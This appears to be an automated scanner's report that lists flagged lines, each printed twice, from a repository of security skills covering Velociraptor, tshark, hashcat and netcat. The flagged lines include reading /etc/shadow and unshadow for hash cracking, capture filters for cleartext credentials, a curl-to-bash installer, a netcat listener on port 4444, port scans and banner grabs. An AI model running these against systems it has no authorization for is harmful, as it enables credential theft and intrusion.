  • Dangerous shell operationline 182
    sudo systemctl start velociraptor
  • Network accessline 200
    # Access GUI at: https://velociraptor.company.com:8889/
  • Network accessline 200
    # Access GUI at: https://velociraptor.company.com:8889/
  • Dangerous shell operationline 215
    sudo apt install certbot
  • Dangerous shell operationline 215
    sudo apt install certbot
  • Dangerous shell operationline 218
    sudo certbot certonly --standalone \
  • Dangerous shell operationline 218
    sudo certbot certonly --standalone \
  • Dangerous shell operationline 272
    # Install: sudo dpkg -i velociraptor-client.deb
  • Dangerous shell operationline 272
    # Install: sudo dpkg -i velociraptor-client.deb
  • Dangerous shell operationline 295
    sudo cp velociraptor /usr/local/bin/
  • Dangerous shell operationline 295
    sudo cp velociraptor /usr/local/bin/
  • Dangerous shell operationline 296
    sudo cp client.config.yaml /etc/velociraptor/
  • Dangerous shell operationline 296
    sudo cp client.config.yaml /etc/velociraptor/
  • Dangerous shell operationline 299
    sudo cat > /etc/systemd/system/velociraptor-client.service <<'EOF'
  • Dangerous shell operationline 299
    sudo cat > /etc/systemd/system/velociraptor-client.service <<'EOF'
  • Dangerous shell operationline 315
    sudo systemctl enable velociraptor-client
  • Dangerous shell operationline 315
    sudo systemctl enable velociraptor-client
  • Dangerous shell operationline 316
    sudo systemctl start velociraptor-client
  • Dangerous shell operationline 316
    sudo systemctl start velociraptor-client
  • Network accessline 323
    Client:   server_urls:     - https://velociraptor.company.com:8000/
  • Network accessline 323
    Client:   server_urls:     - https://velociraptor.company.com:8000/
  • Network accessline 325
    - https://velociraptor.company.com:8000/
  • Network accessline 325
    - https://velociraptor.company.com:8000/
  • Dangerous shell operationline 380
    sudo apt install nfs-kernel-server
  • Dangerous shell operationline 380
    sudo apt install nfs-kernel-server
  • Dangerous shell operationline 381
    sudo mkdir -p /export/velociraptor
  • Dangerous shell operationline 381
    sudo mkdir -p /export/velociraptor
  • Dangerous shell operationline 382
    sudo chown nobody:nogroup /export/velociraptor
  • Dangerous shell operationline 382
    sudo chown nobody:nogroup /export/velociraptor
  • Dangerous shell operationline 388
    sudo mount -t nfs nfs-server:/export/velociraptor /var/lib/velociraptor
  • Dangerous shell operationline 388
    sudo mount -t nfs nfs-server:/export/velociraptor /var/lib/velociraptor
  • Dangerous shell operationline 408
    sudo iptables -A INPUT -p tcp --dport 8000 -j ACCEPT
  • Dangerous shell operationline 408
    sudo iptables -A INPUT -p tcp --dport 8000 -j ACCEPT
  • Dangerous shell operationline 411
    sudo iptables -A INPUT -p tcp --dport 8889 -s 10.0.0.0/8 -j ACCEPT
  • Dangerous shell operationline 411
    sudo iptables -A INPUT -p tcp --dport 8889 -s 10.0.0.0/8 -j ACCEPT
  • Dangerous shell operationline 412
    sudo iptables -A INPUT -p tcp --dport 8889 -j DROP
  • Dangerous shell operationline 412
    sudo iptables -A INPUT -p tcp --dport 8889 -j DROP
  • Dangerous shell operationline 415
    sudo iptables-save > /etc/iptables/rules.v4
  • Dangerous shell operationline 415
    sudo iptables-save > /etc/iptables/rules.v4
  • Dangerous shell operationline 535
    find "$BACKUP_DIR" -name "*.tar.gz" -mtime +30 -delete
  • Dangerous shell operationline 535
    find "$BACKUP_DIR" -name "*.tar.gz" -mtime +30 -delete

skills/incident-response/ir-velociraptor/references/mitre-attack-mapping.md

  • Access to secretsline 347
    [Credential-related source omitted]
  • Access to secretsline 347
    [Credential-related source omitted]

skills/offsec/analysis-tshark/SKILL.md

  • Network accessline 17
    tools: [tcpdump, python3] references:   - https://www.wireshark.org/docs/man-pages/tshark.html
  • Network accessline 17
    tools: [tcpdump, python3] references:   - https://www.wireshark.org/docs/man-pages/tshark.html
  • Network accessline 18
    references:   - https://www.wireshark.org/docs/man-pages/tshark.html   - https://wiki.wireshark.org/DisplayFilters
  • Network accessline 18
    references:   - https://www.wireshark.org/docs/man-pages/tshark.html   - https://wiki.wireshark.org/DisplayFilters
  • Network accessline 19
    - https://www.wireshark.org/docs/man-pages/tshark.html
  • Network accessline 19
    - https://www.wireshark.org/docs/man-pages/tshark.html
  • Network accessline 20
    - https://wiki.wireshark.org/DisplayFilters
  • Network accessline 20
    - https://wiki.wireshark.org/DisplayFilters
  • Network accessline 21
    - https://attack.mitre.org/techniques/T1040/
  • Network accessline 21
    - https://attack.mitre.org/techniques/T1040/
  • Dangerous shell operationline 38
    sudo tshark -i eth0
  • Dangerous shell operationline 38
    sudo tshark -i eth0
  • Dangerous shell operationline 41
    sudo tshark -i eth0 -c 100 -w capture.pcap
  • Dangerous shell operationline 41
    sudo tshark -i eth0 -c 100 -w capture.pcap
  • Dangerous shell operationline 87
    sudo tshark -D
  • Dangerous shell operationline 87
    sudo tshark -D
  • Dangerous shell operationline 90
    sudo tshark -i eth0
  • Dangerous shell operationline 90
    sudo tshark -i eth0
  • Dangerous shell operationline 91
    sudo tshark -i wlan0
  • Dangerous shell operationline 91
    sudo tshark -i wlan0
  • Dangerous shell operationline 94
    sudo tshark -i any
  • Dangerous shell operationline 94
    sudo tshark -i any
  • Dangerous shell operationline 97
    sudo tshark -i eth0 -i wlan0
  • Dangerous shell operationline 97
    sudo tshark -i eth0 -i wlan0
  • Dangerous shell operationline 113
    sudo tshark -i eth0
  • Dangerous shell operationline 113
    sudo tshark -i eth0
  • Dangerous shell operationline 116
    sudo tshark -i eth0 -c 1000
  • Dangerous shell operationline 116
    sudo tshark -i eth0 -c 1000
  • Dangerous shell operationline 119
    sudo tshark -i eth0 -a duration:60
  • Dangerous shell operationline 119
    sudo tshark -i eth0 -a duration:60
  • Dangerous shell operationline 122
    sudo tshark -i eth0 -w capture.pcap
  • Dangerous shell operationline 122
    sudo tshark -i eth0 -w capture.pcap
  • Dangerous shell operationline 125
    sudo tshark -i eth0 -w capture.pcap -b filesize:100000 -b files:5
  • Dangerous shell operationline 125
    sudo tshark -i eth0 -w capture.pcap -b filesize:100000 -b files:5
  • Dangerous shell operationline 141
    sudo tshark -i eth0 -f "tcp port 80"
  • Dangerous shell operationline 141
    sudo tshark -i eth0 -f "tcp port 80"
  • Dangerous shell operationline 144
    sudo tshark -i eth0 -f "host 192.168.1.100"
  • Dangerous shell operationline 144
    sudo tshark -i eth0 -f "host 192.168.1.100"
  • Dangerous shell operationline 147
    sudo tshark -i eth0 -f "net 192.168.1.0/24"
  • Dangerous shell operationline 147
    sudo tshark -i eth0 -f "net 192.168.1.0/24"
  • Dangerous shell operationline 150
    sudo tshark -i eth0 -f "tcp port 80 or tcp port 443"
  • Dangerous shell operationline 150
    sudo tshark -i eth0 -f "tcp port 80 or tcp port 443"
  • Dangerous shell operationline 153
    sudo tshark -i eth0 -f "not port 22"
  • Dangerous shell operationline 153
    sudo tshark -i eth0 -f "not port 22"
  • Dangerous shell operationline 156
    sudo tshark -i eth0 -f "tcp[tcpflags] & tcp-syn != 0"
  • Dangerous shell operationline 156
    sudo tshark -i eth0 -f "tcp[tcpflags] & tcp-syn != 0"
  • Dangerous shell operationline 441
    sudo tshark -i eth0 -w incident_$(date +%Y%m%d_%H%M%S).pcap -a duration:300
  • Dangerous shell operationline 441
    sudo tshark -i eth0 -w incident_$(date +%Y%m%d_%H%M%S).pcap -a duration:300
  • Dangerous shell operationline 458
    sudo tshark -i eth0 -w malware_traffic.pcap
  • Dangerous shell operationline 458
    sudo tshark -i eth0 -w malware_traffic.pcap
  • Dangerous shell operationline 477
    sudo tshark -i eth0 -Y "(http.authorization or ftp or pop or imap) and not tls" -T fields -e ip.src -e ip.dst
  • Dangerous shell operationline 477
    sudo tshark -i eth0 -Y "(http.authorization or ftp or pop or imap) and not tls" -T fields -e ip.src -e ip.dst
  • Dangerous shell operationline 509
    sudo tshark -i mon0 -w wireless_capture.pcap
  • Dangerous shell operationline 509
    sudo tshark -i mon0 -w wireless_capture.pcap
  • Dangerous shell operationline 550
    sudo tshark -i $INTERFACE -Y "$ALERT_FILTER" -T fields -e frame.time -e ip.src -e ip.dst -e http.host -e dns.qry.name | \
  • Dangerous shell operationline 550
    sudo tshark -i $INTERFACE -Y "$ALERT_FILTER" -T fields -e frame.time -e ip.src -e ip.dst -e http.host -e dns.qry.name | \
  • Dangerous shell operationline 565
    sudo tshark -i eth0
  • Dangerous shell operationline 565
    sudo tshark -i eth0
  • Dangerous shell operationline 568
    sudo usermod -a -G wireshark $USER
  • Dangerous shell operationline 568
    sudo usermod -a -G wireshark $USER
  • Dangerous shell operationline 569
    sudo setcap cap_net_raw,cap_net_admin+eip /usr/bin/tshark
  • Dangerous shell operationline 569
    sudo setcap cap_net_raw,cap_net_admin+eip /usr/bin/tshark
  • Dangerous shell operationline 582
    sudo tshark -D
  • Dangerous shell operationline 582
    sudo tshark -D
  • Dangerous shell operationline 594
    sudo tshark -i eth0 -f "not port 22" -w capture.pcap
  • Dangerous shell operationline 594
    sudo tshark -i eth0 -f "not port 22" -w capture.pcap
  • Dangerous shell operationline 597
    sudo tshark -i eth0 -w capture.pcap -b filesize:100000 -b files:5
  • Dangerous shell operationline 597
    sudo tshark -i eth0 -w capture.pcap -b filesize:100000 -b files:5
  • Dangerous shell operationline 600
    sudo tshark -i eth0 -s 128 -w capture.pcap
  • Dangerous shell operationline 600
    sudo tshark -i eth0 -s 128 -w capture.pcap
  • Network accessline 634
    - [TShark Man Page](https://www.wireshark.org/docs/man-pages/tshark.html)
  • Network accessline 634
    - [TShark Man Page](https://www.wireshark.org/docs/man-pages/tshark.html)
  • Network accessline 635
    - [Wireshark Display Filters](https://wiki.wireshark.org/DisplayFilters)
  • Network accessline 635
    - [Wireshark Display Filters](https://wiki.wireshark.org/DisplayFilters)
  • Network accessline 636
    - [MITRE ATT&CK: Network Sniffing](https://attack.mitre.org/techniques/T1040/)
  • Network accessline 636
    - [MITRE ATT&CK: Network Sniffing](https://attack.mitre.org/techniques/T1040/)
  • Network accessline 637
    - [NIST SP 800-92: Guide to Computer Security Log Management](https://csrc.nist.gov/publications/detail/sp/800-92/final)
  • Network accessline 637
    - [NIST SP 800-92: Guide to Computer Security Log Management](https://csrc.nist.gov/publications/detail/sp/800-92/final)
  • Network accessline 638
    - [Practical Packet Analysis Book](https://nostarch.com/packetanalysis3)
  • Network accessline 638
    - [Practical Packet Analysis Book](https://nostarch.com/packetanalysis3)

skills/offsec/analysis-tshark/assets/ci-config-template.yml

  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash

skills/offsec/analysis-tshark/assets/rule-template.yaml

  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html

skills/offsec/analysis-tshark/references/EXAMPLE.md

  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]

skills/offsec/crack-hashcat/SKILL.md

  • Network accessline 16
    tools: [opencl, cuda] references:   - https://hashcat.net/wiki/
  • Network accessline 16
    tools: [opencl, cuda] references:   - https://hashcat.net/wiki/
  • Network accessline 17
    references:   - https://hashcat.net/wiki/   - https://hashcat.net/hashcat/
  • Network accessline 17
    references:   - https://hashcat.net/wiki/   - https://hashcat.net/hashcat/
  • Network accessline 18
    - https://hashcat.net/wiki/
  • Network accessline 18
    - https://hashcat.net/wiki/
  • Network accessline 19
    - https://hashcat.net/hashcat/
  • Network accessline 19
    - https://hashcat.net/hashcat/
  • Network accessline 20
    - https://attack.mitre.org/techniques/T1110/
  • Network accessline 20
    - https://attack.mitre.org/techniques/T1110/
  • Dangerous shell operationline 120
    sudo cat /etc/shadow | grep -v "^#" | grep -v ":\*:" | grep -v ":!:" > shadow_hashes.txt
  • Dangerous shell operationline 120
    sudo cat /etc/shadow | grep -v "^#" | grep -v ":\*:" | grep -v ":!:" > shadow_hashes.txt
  • Dangerous shell operationline 342
    sudo unshadow /etc/passwd /etc/shadow > linux_hashes.txt
  • Dangerous shell operationline 342
    sudo unshadow /etc/passwd /etc/shadow > linux_hashes.txt
  • Network accessline 505
    - [Hashcat Official Wiki](https://hashcat.net/wiki/)
  • Network accessline 505
    - [Hashcat Official Wiki](https://hashcat.net/wiki/)
  • Network accessline 506
    - [Hashcat Documentation](https://hashcat.net/hashcat/)
  • Network accessline 506
    - [Hashcat Documentation](https://hashcat.net/hashcat/)
  • Network accessline 507
    - [MITRE ATT&CK: Brute Force](https://attack.mitre.org/techniques/T1110/)
  • Network accessline 507
    - [MITRE ATT&CK: Brute Force](https://attack.mitre.org/techniques/T1110/)
  • Network accessline 508
    - [NIST SP 800-63B: Digital Identity Guidelines](https://pages.nist.gov/800-63-3/sp800-63b.html)
  • Network accessline 508
    - [NIST SP 800-63B: Digital Identity Guidelines](https://pages.nist.gov/800-63-3/sp800-63b.html)
  • Network accessline 509
    - [OWASP Password Storage Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)
  • Network accessline 509
    - [OWASP Password Storage Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)

skills/offsec/crack-hashcat/assets/ci-config-template.yml

  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash

skills/offsec/crack-hashcat/assets/rule-template.yaml

  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html

skills/offsec/crack-hashcat/references/EXAMPLE.md

  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]

skills/offsec/network-netcat/SKILL.md

  • Network accessline 1
    --- name: network-netcat description: >
  • Network accessline 1
    --- name: network-netcat description: >
  • Network accessline 2
    name: network-netcat description: >   Network utility for reading and writing data across TCP/UDP connections, port scanning, file
  • Network accessline 2
    name: network-netcat description: >   Network utility for reading and writing data across TCP/UDP connections, port scanning, file
  • Network accessline 16
    packages: [netcat, ncat] references:   - https://nmap.org/ncat/guide/index.html
  • Network accessline 16
    packages: [netcat, ncat] references:   - https://nmap.org/ncat/guide/index.html
  • Network accessline 17
    references:   - https://nmap.org/ncat/guide/index.html   - https://attack.mitre.org/techniques/T1059/
  • Network accessline 17
    references:   - https://nmap.org/ncat/guide/index.html   - https://attack.mitre.org/techniques/T1059/
  • Network accessline 18
    - https://nmap.org/ncat/guide/index.html
  • Network accessline 18
    - https://nmap.org/ncat/guide/index.html
  • Network accessline 19
    - https://attack.mitre.org/techniques/T1059/
  • Network accessline 19
    - https://attack.mitre.org/techniques/T1059/
  • Network accessline 22
    # Netcat Network Utility
  • Network accessline 22
    # Netcat Network Utility
  • Network accessline 26
    Netcat (nc) is the "Swiss Army knife" of networking tools, providing simple Unix utility for reading and writing data across network connections. This skill covers authorized offensive security applications including reverse shells, bind sh
  • Network accessline 26
    Netcat (nc) is the "Swiss Army knife" of networking tools, providing simple Unix utility for reading and writing data across network connections. This skill covers authorized offensive security applications including reverse shells, bind sh
  • Network accessline 28
    **IMPORTANT**: Netcat capabilities can be used maliciously. Only use these techniques in authorized penetration testing environments with proper written permission.
  • Network accessline 28
    **IMPORTANT**: Netcat capabilities can be used maliciously. Only use these techniques in authorized penetration testing environments with proper written permission.
  • Network accessline 35
    # Listen on port 4444 nc -lvnp 4444
  • Network accessline 35
    # Listen on port 4444 nc -lvnp 4444
  • Network accessline 36
    nc -lvnp 4444
  • Network accessline 36
    nc -lvnp 4444
  • Network accessline 38
    # Connect to remote host nc <target-ip> <port>
  • Network accessline 38
    # Connect to remote host nc <target-ip> <port>
  • Network accessline 39
    nc <target-ip> <port>
  • Network accessline 39
    nc <target-ip> <port>
  • Network accessline 41
    # Banner grab a service echo "" | nc <target-ip> 80
  • Network accessline 41
    # Banner grab a service echo "" | nc <target-ip> 80
  • Network accessline 42
    echo "" | nc <target-ip> 80
  • Network accessline 42
    echo "" | nc <target-ip> 80
  • Network accessline 44
    # Simple port scan nc -zv <target-ip> 1-1000
  • Network accessline 44
    # Simple port scan nc -zv <target-ip> 1-1000
  • Network accessline 45
    nc -zv <target-ip> 1-1000
  • Network accessline 45
    nc -zv <target-ip> 1-1000
  • Network accessline 50
    ### Netcat Operations Workflow
  • Network accessline 50
    ### Netcat Operations Workflow
  • Network accessline 66
    **CRITICAL**: Before any netcat operations:
  • Network accessline 66
    **CRITICAL**: Before any netcat operations:
  • Network accessline 78
    # TCP connection test nc -vz <target-ip> <port>
  • Network accessline 78
    # TCP connection test nc -vz <target-ip> <port>
  • Network accessline 79
    nc -vz <target-ip> <port>
  • Network accessline 79
    nc -vz <target-ip> <port>
  • Network accessline 81
    # UDP connection test nc -uvz <target-ip> <port>
  • Network accessline 81
    # UDP connection test nc -uvz <target-ip> <port>
  • Network accessline 82
    nc -uvz <target-ip> <port>
  • Network accessline 82
    nc -uvz <target-ip> <port>
  • Network accessline 84
    # Test port range nc -zv <target-ip> 20-30
  • Network accessline 84
    # Test port range nc -zv <target-ip> 20-30
  • Network accessline 85
    nc -zv <target-ip> 20-30
  • Network accessline 85
    nc -zv <target-ip> 20-30
  • Network accessline 87
    # Verbose output nc -v <target-ip> <port>
  • Network accessline 87
    # Verbose output nc -v <target-ip> <port>
  • Network accessline 88
    nc -v <target-ip> <port>
  • Network accessline 88
    nc -v <target-ip> <port>
  • Network accessline 101
    # HTTP banner grab echo -e "GET / HTTP/1.0\r\n\r\n" | nc <target-ip> 80
  • Network accessline 101
    # HTTP banner grab echo -e "GET / HTTP/1.0\r\n\r\n" | nc <target-ip> 80
  • Network accessline 102
    echo -e "GET / HTTP/1.0\r\n\r\n" | nc <target-ip> 80
  • Network accessline 102
    echo -e "GET / HTTP/1.0\r\n\r\n" | nc <target-ip> 80
  • Network accessline 104
    # SMTP banner grab echo "QUIT" | nc <target-ip> 25
  • Network accessline 104
    # SMTP banner grab echo "QUIT" | nc <target-ip> 25
  • Network accessline 105
    echo "QUIT" | nc <target-ip> 25
  • Network accessline 105
    echo "QUIT" | nc <target-ip> 25
  • Network accessline 107
    # FTP banner grab echo "QUIT" | nc <target-ip> 21
  • Network accessline 107
    # FTP banner grab echo "QUIT" | nc <target-ip> 21
  • Network accessline 108
    echo "QUIT" | nc <target-ip> 21
  • Network accessline 108
    echo "QUIT" | nc <target-ip> 21
  • Network accessline 110
    # SSH banner grab nc <target-ip> 22
  • Network accessline 110
    # SSH banner grab nc <target-ip> 22
  • Network accessline 111
    nc <target-ip> 22
